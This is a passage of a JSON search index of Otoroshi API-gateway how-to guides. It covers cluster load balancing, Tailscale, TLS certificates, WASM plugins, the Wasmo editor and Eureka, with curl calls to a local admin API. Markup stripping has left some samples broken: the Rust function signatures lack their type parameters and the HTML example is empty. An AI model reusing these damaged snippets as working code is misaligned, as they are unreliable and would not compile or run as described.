}\n\ndocker (on windows)\n: @@snip [run.sh](../snippets/cluster-run-ha.sh) { #docker_windows }\n\nThe last step is to create a route, add a rule to add, in the headers, a specific value to identify the worker used.\n\nCreate this route, exposed on `http://api.oto.tools:xxxx`, which will forward all requests to the mirror `https://mirror.otoroshi.io`.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8091/api/routes' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"api.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.AdditionalHeadersIn\",\n \"config\": {\n \"headers\": {\n \"worker-name\": \"${config.otoroshi.cluster.worker.name}\"\n }\n }\n }\n ]\n}\nEOF\n```\n\nOnce created, call two times the service. If all is working, the header received by the backend service will have `worker-1` and `worker-2` as value.\n\n```sh\ncurl 'http://api.oto.tools:8080'\n## Response headers\n{\n ...\n \"worker-name\": \"worker-2\"\n ...\n}\n```\n\nThis should output `worker-1`, then `worker-2`, etc. Well done, your loadbalancing is working and your cluster is set up correctly.\n\n\n" + }, + { + "name": "tailscale-integration.md", + "id": "/how-to-s/tailscale-integration.md", + "url": "/how-to-s/tailscale-integration.html", + "title": "Tailscale integration", + "content": "# Tailscale integration\n\n[Tailscale](https://tailscale.com/) is a VPN service that let you create your own private network based on [Wireguard](https://www.wireguard.com/). Tailscale goes beyond the simple meshed wireguard based VPN and offers out of the box NAT traversal, third party identity provider integration, access control, magic DNS and let's encrypt integration for the machines on your VPN.\n\nOtoroshi provides somes plugins out of the box to work in a [Tailscale](https://tailscale.com/) environment.\n\nby default Otoroshi, works out of the box when integrated in a `tailnet` as you can contact other machines usign their ip address. But we can go a little bit further.\n\n## tailnet configuration\n\nfirst thing, go to your tailnet setting on [tailscale.com](https://login.tailscale.com/admin/machines) and go to the [DNS tab](https://login.tailscale.com/admin/dns). Here you can find \n\n* your tailnet name: the domain name of all your machines on your tailnet\n* MagicDNS: a way to address your machines by directly using their names\n* HTTPS Certificates: HTTPS certificates provision for all your machines\n\nto use otoroshi Tailscale plugin you must enable `MagicDNS` and `HTTPS Certificates`\n\n## Tailscale certificates integration\n\nyou can use tailscale generated let's encrypt certificates in otoroshi by using the `Tailscale certificate fetcher job` in the plugins section of the danger zone. Once enabled, this job will fetch certificates for domains in `xxxx.ts.net` that belong to your tailnet. \n\nas usual, the fetched certificates will be available in the [certificates page](http://otoroshi.oto.tools:8080/bo/dashboard/certificates) of otoroshi.\n\n## Tailscale targets integration\n\nthe following pair of plugins let your contact tailscale machine by using their names even if their are multiple instance.\n\nwhen you register a machine on a tailnet, you have to provide a name for it, let say `my-server`. This machine will be addressable in your tailnet with `my-server.tailxxx.ts.net`. But if you have multiple instance of the same server on several machines with the same `my-server` name, their DNS name on the tailnet will be `my-server.tailxxx.ts.net`, `my-server-1.tailxxx.ts.net`, `my-server-2.tailxxx.ts.net`, etc. If you want to use those names in an otoroshi backend it could be tricky if the application has something like autoscaling enabled.\n\nin that case, you can add the `Tailscale targets job` in the plugins section of the danger zone. Once enabled, this job will fetch periodically available machine on the tailnet with their names and DNS names. Then, in a route, you can use the `Tailscale select target by name` plugin to tell otoroshi to loadbalance traffic between all machine that have the name specified in the plugin config. instead of their DNS name." + }, + { + "name": "tls-termination-using-own-certificates.md", + "id": "/how-to-s/tls-termination-using-own-certificates.md", + "url": "/how-to-s/tls-termination-using-own-certificates.html", + "title": "TLS termination using your own certificates", + "content": "# TLS termination using your own certificates\n\nThe goal of this tutorial is to expose a service via https using a certificate generated by openssl.\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\nTry to call the service.\n\n```sh\ncurl 'http://myservice.oto.tools:8080'\n```\n\nThis should output something like\n\n```json\n{\n \"method\": \"GET\",\n \"path\": \"/\",\n \"headers\": {\n \"host\": \"mirror.opunmaif.io\",\n \"accept\": \"*/*\",\n \"user-agent\": \"curl/7.64.1\",\n \"x-forwarded-port\": \"443\",\n \"opun-proxied-host\": \"mirror.otoroshi.io\",\n \"otoroshi-request-id\": \"1463145856319359618\",\n \"otoroshi-proxied-host\": \"myservice.oto.tools:8080\",\n \"opun-gateway-request-id\": \"1463145856554240100\",\n \"x-forwarded-proto\": \"https\",\n },\n \"body\": \"\"\n}\n```\n\nLet's try to call the service in https.\n\n```sh\ncurl 'https://myservice.oto.tools:8443'\n```\n\nThis should output\n\n```sh\ncurl: (35) LibreSSL SSL_connect: SSL_ERROR_SYSCALL in connection to myservice.oto.tools:8443\n```\n\nTo fix it, we have to generate a certificate and import it in Otoroshi to match the domain `myservice.oto.tools`.\n\n> If you already had a certificate you can skip the next set of commands and directly import your certificate in Otoroshi\n\nWe will use openssl to generate a private key and a self-signed certificate.\n\n```sh\nopenssl genrsa -out myservice.key 4096\n# remove pass phrase\nopenssl rsa -in myservice.key -out myservice.key\n# generate the certificate authority cert\nopenssl req -new -x509 -sha256 -days 730 -key myservice.key -out myservice.cer -subj \"/CN=myservice.oto.tools\"\n```\n\nCheck the content of the certificate \n\n```sh\nopenssl x509 -in myservice.cer -text\n```\n\nThis should contains something like\n\n```sh\nCertificate:\n Data:\n Version: 1 (0x0)\n Serial Number: 9572962808320067790 (0x84d9fef455f188ce)\n Signature Algorithm: sha256WithRSAEncryption\n Issuer: CN=myservice.oto.tools\n Validity\n Not Before: Nov 23 14:25:55 2021 GMT\n Not After : Nov 23 14:25:55 2022 GMT\n Subject: CN=myservice.oto.tools\n Subject Public Key Info:\n Public Key Algorithm: rsaEncryption\n Public-Key: (4096 bit)\n Modulus:\n...\n```\n\nOnce generated, go back to Otoroshi and navigate to the certificates management page (`top right cog icon / SSL/TLS certificates` or at @link:[`/bo/dashboard/certificates`](http://otoroshi.oto.tools:8080/bo/dashboard/certificates)) and click on `Add item`.\n\nSet `myservice-certificate` as `name` and `description`.\n\nDrop the `myservice.cer` file or copy the content to the `Certificate full chain` field.\n\nDo the same action for the `myservice.key` file in the `Certificate private key` field.\n\nSet your passphrase password in the `private key password` field if you added one.\n\nLet's try the same call to the service.\n\n```sh\ncurl 'https://myservice.oto.tools:8443'\n```\n\nAn error should occurs due to the untrsuted received certificate server\n\n```sh\ncurl: (60) SSL certificate problem: self signed certificate\nMore details here: https://curl.haxx.se/docs/sslcerts.html\n\ncurl failed to verify the legitimacy of the server and therefore could not\nestablish a secure connection to it. To learn more about this situation and\nhow to fix it, please visit the web page mentioned above.\n```\n\nEnd this tutorial by trusting the certificate server \n\n```sh\ncurl 'https://myservice.oto.tools:8443' --cacert myservice.cer\n```\n\nThis should finally output\n\n```json\n{\n \"method\": \"GET\",\n \"path\": \"/\",\n \"headers\": {\n \"host\": \"mirror.opunmaif.io\",\n \"accept\": \"*/*\",\n \"user-agent\": \"curl/7.64.1\",\n \"x-forwarded-port\": \"443\",\n \"opun-proxied-host\": \"mirror.otoroshi.io\",\n \"otoroshi-request-id\": \"1463158439730479893\",\n \"otoroshi-proxied-host\": \"myservice.oto.tools:8443\",\n \"opun-gateway-request-id\": \"1463158439558515871\",\n \"x-forwarded-proto\": \"https\",\n \"sozu-id\": \"01FN6MGKSYZNJYHEMP4R5PJ4Q5\"\n },\n \"body\": \"\"\n}\n```\n\n" + }, + { + "name": "tls-using-lets-encrypt.md", + "id": "/how-to-s/tls-using-lets-encrypt.md", + "url": "/how-to-s/tls-using-lets-encrypt.html", + "title": "TLS termination using Let's Encrypt", + "content": "# TLS termination using Let's Encrypt\n\nAs you know, Otoroshi is capable of doing TLS termination for your services. You can import your own certificates, generate certificates from scratch and you can also use the @link:[ACME protocol](https://datatracker.ietf.org/doc/html/rfc8555) to generate certificates. One of the most popular service offering ACME certificates creation is @link:[Let's Encrypt](https://letsencrypt.org/).\n\n@@@ warning\nIn order to make this tutorial work, your otoroshi instance MUST be accessible from the internet in order to be reachable by Let's Encrypt ACME process. Also, the domain name used for the certificates MUST be configured to reach your otoroshi instance at your DNS provider level.\n@@@\n\n@@@ note\nthis tutorial can work with any ACME provider with the same rules. your otoroshi instance MUST be accessible by the ACME process. Also, the domain name used for the certificates MUST be configured to reach your otoroshi instance at your DNS provider level.\n@@@\n\n## Setup let's encrypt on otoroshi\n\nGo on the danger zone page by clicking on the [`cog icon / Danger Zone`](http://otoroshi.oto.tools:8080/bo/dashboard/certificates). Scroll to the `Let's Encrypt settings` section. Enable it, and specify the address of the ACME server (for production Let's Encrypt it's `acme://letsencrypt.org`, for testing, it's `acme://letsencrypt.org/staging`. Any ACME server address should work). You can also add one or more email addresses or contact urls that will be included in your Let's Encrypt account. You don't have to fill the `public/private key` inputs as they will be automatically generated on the first usage.\n\n## Creating let's encrypt certificate from FQDNs\n\nYou can go to the certificates page by clicking on the [`cog icon / SSL/TLS Certificates`](http://otoroshi.oto.tools:8080/bo/dashboard/certificates). Here, click on the `+ Let's Encrypt certificate` button. A popup will show up to ask you the FQDN that you want for you certificate. Once done, click on the `Create` button. A few moment later, you will be redirected on a brand new certificate generated by Let's encrypt. You can now enjoy accessing your service behind the FQDN with TLS.\n\n## Creating let's encrypt certificate from a service\n\nYou can go to any service page and enable the flag `Issue Let's Encrypt cert.`. Do not forget to save your service. A few moment later, the certificates will be available in the certificates page and you can will be able to enjoy accessing your service with TLS.\n" + }, + { + "name": "wasm-usage.md", + "id": "/how-to-s/wasm-usage.md", + "url": "/how-to-s/wasm-usage.html", + "title": "Using wasm plugins", + "content": "# Using wasm plugins\n\nWebAssembly (WASM) is a simple machine model and executable format with an extensive specification. It is designed to be portable, compact, and execute at or near native speeds. Otoroshi already supports the execution of WASM files by providing different plugins that can be applied on routes. You can find more about those plugins @ref:[here](../topics/wasm-usage.md)\n\nTo simplify the process of WASM creation and usage, Otoroshi provides:\n\n- otoroshi ui integration: a full set of plugins that let you pick which WASM function to runtime at any point in a route\n- otoroshi `wasmo`: a code editor in the browser that let you write your plugin in `Rust`, `TinyGo`, `Javascript` or `Assembly Script` without having to think about compiling it to WASM (you can find a complete tutorial about it @ref:[here](../how-to-s/wasmo-installation.md))\n\n@@@ div { .centered-img }\n\n@@@\n\n## Tutorial\n\n1. [Before your start](#before-your-start)\n2. [Create the route with the plugin validator](#create-the-route-with-the-plugin-validator)\n3. [Test your validator](#test-your-validator)\n4. [Update the route by replacing the backend with a WASM file](#update-the-route-by-replacing-the-backend-with-a-wasm-file)\n5. [WASM backend test](#wasm-backend-test)\n6. [Expose a single file as WASM backend](#expose-a-single-file-as-wasm-backend)\n\nAfter completing these steps you will have a route that uses WASM plugins written in Rust.\n\n## Before your start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n## Create the route with the plugin validator\n\nFor this tutorial, we will start with an existing wasm file. The main function of this file will check the value of an http header to allow access or not. The can find this file at [https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm](#https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm)\n\nThe main function of this validator, written in rust, should look like:\n\nvalidator.rs\n: @@snip [validator.rs](../snippets/wasmo/validator.rs)\n\nvalidator.js\n: @@snip [validator.js](../snippets/wasmo/validator.js)\n\nvalidator.ts\n: @@snip [validator.ts](../snippets/wasmo/validator.ts)\n\nvalidator.js\n: @@snip [validator.js](../snippets/wasmo/validator.js)\n\nvalidator.go\n: @@snip [validator.js](../snippets/wasmo/validator.go)\n\nThe plugin receives the request context from Otoroshi (the matching route, the api key if present, the headers, etc) as `WasmAccessValidatorContext` object.\nThen it applies a check on the headers, and responds with an error or success depending on the content of the foo header.\nObviously, the previous snippet is an example and the editor allows you to write whatever you want as a check.\n\nLet's create a route that uses the previous wasm file as an access validator plugin :\n\n```sh\ncurl -X POST \"http://otoroshi-api.oto.tools:8080/api/routes\" \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"demo-otoroshi\",\n \"name\": \"demo-otoroshi\",\n \"frontend\": {\n \"domains\": [\"demo-otoroshi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.OverrideHost\",\n \"enabled\": true\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.WasmAccessValidator\",\n \"enabled\": true,\n \"config\": {\n \"source\": {\n \"kind\": \"http\",\n \"path\": \"https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm\",\n \"opts\": {}\n },\n \"memoryPages\": 4,\n \"functionName\": \"execute\"\n }\n }\n ]\n}\nEOF\n```\n\nThis request will apply the following process:\n\n- names the route _demo-otoroshi_\n- creates a frontend exposed on the `demo-otoroshi.oto.tools`\n- forward requests on one target, reachable at `mirror.otoroshi.io` using TLS on port 443\n- adds the _WasmAccessValidator_ plugin to validate access based on the foo header to the route\n\nYou can validate the route creation by navigating to the [dashboard](http://otoroshi.oto.tools:8080/bo/dashboard/routes/demo-otoroshi?tab=flow)\n\n## Test your validator\n\n```shell\ncurl \"http://demo-otoroshi.oto.tools:8080\" -I\n```\n\nThis should output the following error:\n\n```\nHTTP/1.1 401 Unauthorized\n```\n\nLet's call again the route by adding the header foo with the bar value.\n\n```shell\ncurl \"http://demo-otoroshi.oto.tools:8080\" -H \"foo:bar\" -I\n```\n\nThis should output the successfull message:\n\n```\nHTTP/1.1 200 OK\n```\n\n## Update the route by replacing the backend with a WASM file\n\nThe next step in this tutorial is to use a WASM file as backend of the route. We will use an existing WASM file, available in our wasm demos repository on github.\nThe content of this plugin, called `wasm-target.wasm`, looks like:\n\ntarget.rs\n: @@snip [target.rs](../snippets/wasmo/target.rs)\n\ntarget.js\n: @@snip [target.js](../snippets/wasmo/target.js)\n\ntarget.ts\n: @@snip [target.ts](../snippets/wasmo/target.ts)\n\ntarget.go\n: @@snip [target.js](../snippets/wasmo/target.go)\n\nLet's explain this snippet. The purpose of this type of plugin is to respond an HTTP response with http status, body and headers map.\n\n1. Includes all public structures from `types.rs` file. This file contains predefined Otoroshi structures that plugins can manipulate.\n2. Necessary imports. [Extism](https://extism.org/docs/overview)'s goal is to make all software programmable by providing a plug-in system.\n3. Creates a map of new headers that will be merged with incoming request headers.\n4. Creates the response object with the map of merged headers, a simple JSON body and a successfull status code.\n\nThe file is downloadable [here](https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/wasm-target.wasm).\n\nLet's update the route using the this wasm file.\n\n```sh\ncurl -X PUT \"http://otoroshi-api.oto.tools:8080/api/routes/demo-otoroshi\" \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"demo-otoroshi\",\n \"name\": \"demo-otoroshi\",\n \"frontend\": {\n \"domains\": [\"demo-otoroshi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.OverrideHost\",\n \"enabled\": true\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.WasmAccessValidator\",\n \"enabled\": true,\n \"config\": {\n \"source\": {\n \"kind\": \"http\",\n \"path\": \"https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/first-validator.wasm\",\n \"opts\": {}\n },\n \"memoryPages\": 4,\n \"functionName\": \"execute\"\n }\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.WasmBackend\",\n \"enabled\": true,\n \"config\": {\n \"source\": {\n \"kind\": \"http\",\n \"path\": \"https://raw.githubusercontent.com/MAIF/otoroshi/master/demos/wasm/wasm-target.wasm\",\n \"opts\": {}\n },\n \"memoryPages\": 4,\n \"functionName\": \"execute\"\n }\n }\n ]\n}\nEOF\n```\n\nThe response should contains the updated route content.\n\n## WASM backend test\n\nLet's call our route.\n\n```sh\ncurl \"http://demo-otoroshi.oto.tools:8080\" -H \"foo:bar\" -H \"fifi: foo\" -v\n```\n\nThis should output:\n\n```\n* Trying 127.0.0.1:8080...\n* Connected to demo-otoroshi.oto.tools (127.0.0.1) port 8080 (#0)\n> GET / HTTP/1.1\n> Host: demo-otoroshi.oto.tools:8080\n> User-Agent: curl/7.79.1\n> Accept: */*\n> foo:bar\n> fifi:foo\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< foo: bar\n< Host: demo-otoroshi.oto.tools:8080\n<\n* Closing connection 0\n{\"foo\": \"bar\"}\n```\n\nIn this response, we can find our headers send in the curl command and those added by the wasm plugin.\n\n## Expose a single file as WASM backend\n\nA WASM backend plugin can directly expose a file written in Wasmo. This is the simplest possibility to write HTML, Javascript, JSON or expose a simple PNG image.\n\nLet's expose a HTML page. In your Wasmo instance, execute the following instructions:\n\n1. Click the new plugin button\n2. Add a name and `validate`\n3. Click the new plugin\n4. Create a new file named `index.html`\n5. Copy and paste the following content\n\n```html\n\n\n \n Wasmo plugin\n \n \n

Hello from Wasmo

\n \n\n```\n\nThis snippet is a short HTML template with a title to indicate that it comes from Wasmo.\n\nNow we can write our javascript function to parse and return the content of our HTML to Otoroshi.\n\n1. Navigate to the `index.js` file\n2. Replace the content with the following content\n\n```js\nimport IndexPage from \"./index.html\";\n\nexport function execute() {\n let response = {\n headers: {\n \"Content-Type\": \"text/html; charset=utf-8\",\n },\n body: IndexPage,\n status: 200,\n };\n\n Host.outputString(JSON.stringify(response));\n\n return 0;\n}\n```\n\nThe code is pretty self-explanatory. We start by importing our HTML page and we build the response with the correct content type, the body and a 200 http status.\n\nJust before testing, we need to change the esbuild configuration to specify how to bundle the HTML file.\n\nThe contents of your `esbuild.js` file should look this:\n\n```js\nconst esbuild = require(\"esbuild\");\n\nesbuild.build({\n entryPoints: [\"index.js\"],\n outdir: \"dist\",\n bundle: true,\n loader: {\n \".html\": \"text\",\n },\n sourcemap: true,\n minify: false, // might want to use true for production build\n format: \"cjs\", // needs to be CJS for now\n target: [\"es2020\"], // don't go over es2020 because quickjs doesn't support it\n});\n```\n\nCheck your browser at `http://demo-otoroshi.oto.tools:8080` and you should see your page content updated to the new text.\n\nIf you need to expose more than a HTML page, we highly recommend to use the @ref:[Zip Backend plugin](../how-to-s/zip-backend-plugin.md)\n" + }, + { + "name": "wasmo-installation.md", + "id": "/how-to-s/wasmo-installation.md", + "url": "/how-to-s/wasmo-installation.html", + "title": "Deploy your own Wasmo", + "content": "# Deploy your own Wasmo\n\nInstalling Wasmo can be done by following the [Getting Started](https://maif.github.io/wasmo/builder/getting-started) in Wasmo documentation.\n\n## Tutorial\n\n- [Deploy your own Wasmo](#deploy-your-own-wasmo)\n - [Tutorial](#tutorial)\n - [Before your start](#before-your-start)\n - [Create a route to expose and protect Wasmo with authentication](#create-a-route-to-expose-and-protect-wasmo-with-authentication)\n - [Create a first validator plugin using Wasmo](#create-a-first-validator-plugin-using-wasmo)\n - [Pairing Otoroshi and Wasmo](#pairing-otoroshi-with-wasmo)\n - [Create a route using the generated wasm file](#create-a-route-using-the-generated-wasm-file)\n - [Test your route](#test-your-route)\n\nAfter completing these steps you will have a running Otoroshi instance and our owm Wasmo linked together.\n\n### Before your start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Create a route to expose and protect Wasmo with authentication\n\nWe are going to use the admin API of Otoroshi to create the route. The configuration of the route is:\n\n* `wasmo` as name\n* `wasmo.oto.tools` as exposed domain\n* `localhost:5001` as target without TLS option enabled\n\nWe need to add two more plugins to require the authentication from users and to pass the logged in user to Wasmo. \nThese plugins are named `Authentication` and `Otoroshi Info. token`. \nThe Authentication plugin will use an in-memory authentication with one default user (wasm@otoroshi.io/password). \nThe second plugin will be configured with the value of the `OTOROSHI_USER_HEADER` environment variable. \n\nLet's create the authentication module (if you are interested in how authentication module works, \nyou should read the other tutorials about How to secure an app). \nThe following command creates an in-memory authentication module with an user.\n\n```sh\ncurl -X POST \"http://otoroshi-api.oto.tools:8080/api/auths\" \\\n-u \"admin-api-apikey-id:admin-api-apikey-secret\" \\\n-H 'Content-Type: application/json; charset=utf-8' \\\n-d @- <<'EOF'\n{\n \"id\": \"wasmo_in_memory\",\n \"type\": \"basic\",\n \"name\": \"In memory authentication\",\n \"desc\": \"Group of static users\",\n \"users\": [\n {\n \"name\": \"User Otoroshi\",\n \"password\": \"$2a$10$oIf4JkaOsfiypk5ZK8DKOumiNbb2xHMZUkYkuJyuIqMDYnR/zXj9i\",\n \"email\": \"wasm@otoroshi.io\"\n }\n ],\n \"sessionCookieValues\": {\n \"httpOnly\": true,\n \"secure\": false\n }\n}\nEOF\n```\n\nOnce created, you can create our route to expose Wasmo.\n\n```sh\ncurl -X POST \"http://otoroshi-api.oto.tools:8080/api/routes\" \\\n-H \"Content-type: application/json\" \\\n-u \"admin-api-apikey-id:admin-api-apikey-secret\" \\\n-d @- <<'EOF'\n{\n \"id\": \"wasmo\",\n \"name\": \"wasmo\",\n \"frontend\": {\n \"domains\": [\"wasmo.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"localhost\",\n \"port\": 5001,\n \"tls\": false\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.AuthModule\",\n \"exclude\": [\n \"/plugins\",\n \"/wasm/.*\"\n ],\n \"config\": {\n \"pass_with_apikey\": false,\n \"auth_module\": null,\n \"module\": \"wasmo_in_memory\"\n }\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"include\": [\n \"/plugins\",\n \"/wasm/.*\"\n ],\n \"config\": {}\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.OtoroshiInfos\",\n \"config\": {\n \"version\": \"Latest\",\n \"ttl\": 30,\n \"header_name\": \"Otoroshi-User\",\n \"algo\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"veryverysecret\"\n }\n }\n }\n ]\n}\nEOF\n```\n\nTry to access to Wasmo with the new domain: http://wasmo.oto.tools:8080. \nThis should redirect you to the login page of Otoroshi. Enter the credentials of the user: wasm@otoroshi.io/password\nCongratulations, you now have secured Wasmo.\n\n### Create a first validator plugin using Wasmo\n\nIn the previous part, we secured the access to Wasmo. Now, is the time to create your first simple plugin, written in Rust. \nThis plugin will apply a check on the request and ensure that the headers contains the key-value foo:bar.\n\n1. On the right top of the screen, click on the plus icon to create a new plugin\n2. Select the Rust language\n3. Call it `my-first-validator` and press the enter key\n4. Click on the new plugin called `my-first-validator`\n\nBefore continuing, let's explain the different files already present in your plugin. \n\n* `types.rs`: this file contains all Otoroshi structures that the plugin can receive and respond\n* `lib.rs`: this file is the core of your plugin. It must contain at least one **function** which will be called by Otoroshi when executing the plugin.\n* `Cargo.toml`: for each rust package, this file is called its manifest. It is written in the TOML format. \nIt contains metadata that is needed to compile the package. You can read more information about it [here](https://doc.rust-lang.org/cargo/reference/manifest.html)\n\nYou can write a plugin for different uses cases in Otoroshi: validate an access, transform request or generate a target. \nIn terms of plugin type,\nyou need to change your plugin's context and reponse types accordingly.\n\nLet's take the example of creating a validator plugin. If we search in the types.rs file, we can found the corresponding \ntypes named: `WasmAccessValidatorContext` and `WasmAccessValidatorResponse`.\nThese types must be use in the declaration of the main **function** (named execute in our case).\n\n```rust\n... \npub fn execute(Json(context): Json) -> FnResult> {\n \n}\n```\n\nWith this code, we declare a function named `execute`, which takes a context of type WasmAccessValidatorContext as parameter, \nand which returns an object of type WasmAccessValidatorResponse. Now, let's add the check of the foo header.\n\n```rust\n... \npub fn execute(Json(context): Json) -> FnResult> {\n match context.request.headers.get(\"foo\") {\n Some(foo) => if foo == \"bar\" {\n Ok(Json(types::WasmAccessValidatorResponse { \n result: true,\n error: None\n }))\n } else {\n Ok(Json(types::WasmAccessValidatorResponse { \n result: false, \n error: Some(types::WasmAccessValidatorError { \n message: format!(\"{} is not authorized\", foo).to_owned(), \n status: 401\n }) \n }))\n },\n None => Ok(Json(types::WasmAccessValidatorResponse { \n result: false, \n error: Some(types::WasmAccessValidatorError { \n message: \"you're not authorized\".to_owned(), \n status: 401\n }) \n }))\n }\n}\n```\n\nFirst, we checked if the foo header is present, otherwise we return an object of type WasmAccessValidatorError.\nIn the other case, we continue by checking its value. In this example, we have used three types, already declared for you in the types.rs file:\n`WasmAccessValidatorResponse`, `WasmAccessValidatorError` and `WasmAccessValidatorContext`. \n\nAt this time, the content of your lib.rs file should be:\n\n```rust\nmod types;\n\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn execute(Json(context): Json) -> FnResult> {\n match context.request.headers.get(\"foo\") {\n Some(foo) => if foo == \"bar\" {\n Ok(Json(types::WasmAccessValidatorResponse { \n result: true,\n error: None\n }))\n } else {\n Ok(Json(types::WasmAccessValidatorResponse { \n result: false, \n error: Some(types::WasmAccessValidatorError { \n message: format!(\"{} is not authorized\", foo).to_owned(), \n status: 401\n }) \n }))\n },\n None => Ok(Json(types::WasmAccessValidatorResponse { \n result: false, \n error: Some(types::WasmAccessValidatorError { \n message: \"you're not authorized\".to_owned(), \n status: 401\n }) \n }))\n }\n}\n```\n\nLet's compile this plugin by clicking on the hammer icon at the right top of your screen. Once done, you can try your built plugin directly in the UI.\nClick on the play button at the right top of your screen, select your plugin and the correct type of the incoming fake context. \nOnce done, click on the run button at the bottom of your screen. This should output an error.\n\n```json\n{\n \"result\": false,\n \"error\": {\n \"message\": \"asd is not authorized\",\n \"status\": 401\n }\n}\n```\n\nLet's edit the fake input context by adding the exepected foo Header.\n\n```json\n{\n \"request\": {\n \"id\": 0,\n \"method\": \"\",\n \"headers\": {\n \"foo\": \"bar\"\n },\n \"cookies\"\n ...\n```\n\nResubmit the command. It should pass.\n\n### Pairing Otoroshi and Wasmo\n\nNow that we have our compiled plugin, we have to connect Otoroshi with Wasmo. Let's navigate to the danger zone, and add the following values in the Wasmo section:\n\n* `URL`: http://localhost:5001\n* `Apikey id`: admin-api-apikey-id\n* `Apikey secret`: admin-api-apikey-secret\n* `User(s)`: *\n* `Token secret`:\n\nThe User(s) property is used by Wasmo to filter the list of returned plugins (example: wasm@otoroshi.io will only return the list of plugins created by this user). \n\nDon't forget to save the configuration.\n\n### Create a route using the generated wasm file\n\nThe last step of our tutorial is to create the route using the validator. Let's create the route with the following parameters:\n\n```sh\ncurl -X POST \"http://otoroshi-api.oto.tools:8080/api/routes\" \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"wasm-route\",\n \"name\": \"wasm-route\",\n \"frontend\": {\n \"domains\": [\"wasm-route.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"localhost\",\n \"port\": 5001,\n \"tls\": false\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.WasmAccessValidator\",\n \"enabled\": true,\n \"config\": {\n \"compiler_source\": \"my-first-validator\",\n \"functionName\": \"execute\"\n }\n }\n ]\n}\nEOF\n```\n\nYou can validate the creation by navigating to the [dashboard](http://otoroshi.oto.tools:9999/bo/dashboard/routes/wasm-route?tab=flow)\n\n### Test your route\n\nRun the two following commands. The first should show an unauthorized error and the second should conclude this tutorial.\n\n```sh\ncurl \"http://wasm-route.oto.tools:8080\"\n```\n\nand \n\n```sh\ncurl \"http://wasm-route.oto.tools:8080\" -H \"foo:bar\"\n```\n\nCongratulations, you have successfully written your first validator using your own Wasmo.\n" + }, + { + "name": "working-with-eureka.md", + "id": "/how-to-s/working-with-eureka.md", + "url": "/how-to-s/working-with-eureka.html", + "title": "Working with Eureka", + "content": "# Working with Eureka\n\n\n\nEureka is a library of Spring Cloud Netflix, which provides two parts to register and discover services.\nGenerally, the services are applications written with Spring but Eureka also provides a way to communicate in REST. The main goals of Eureka are to allow clients to find and communicate with each other without hard-coding the hostname and port.\nAll services are registered in an Eureka Server.\n\nTo work with Eureka, Otoroshi has three differents plugins:\n\n* to expose its own Eureka Server instance\n* to discover an existing Eureka Server instance\n* to use Eureka application as an Otoroshi target and took advantage of all Otoroshi clients features (load-balancing, rate limiting, etc...)\n\nLet's cut this tutorial in three parts. \n\n- Create an simple Spring application that we'll use as an Eureka Client\n- Deploy an implementation of the Otoroshi Eureka Server (using the `Eureka Instance` plugin), register eureka clients and expose them using the `Internal Eureka Server` plugin\n- Deploy an Netflix Eureka Server and use it in Otoroshi to discover apps using the `External Eureka Server` plugin.\n\n\nIn this tutorial: \n\n- [Create an Otoroshi route with the Internal Eureka Server plugin](#create-an-otoroshi-route-with-the-internal-eureka-server-plugin)\n- [Create a simple Eureka Client and register it](#create-a-simple-eureka-client-and-register-it)\n- [Connect to an external Eureka server](#connect-to-an-external-eureka-server)\n\n### Download Otoroshi\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Create an Otoroshi route with the Internal Eureka Server plugin\n\n@@@ note\nWe'll supposed that you have an Otoroshi exposed on the 8080 port with the new Otoroshi engine enabled\n@@@\n\nLet's jump to the routes 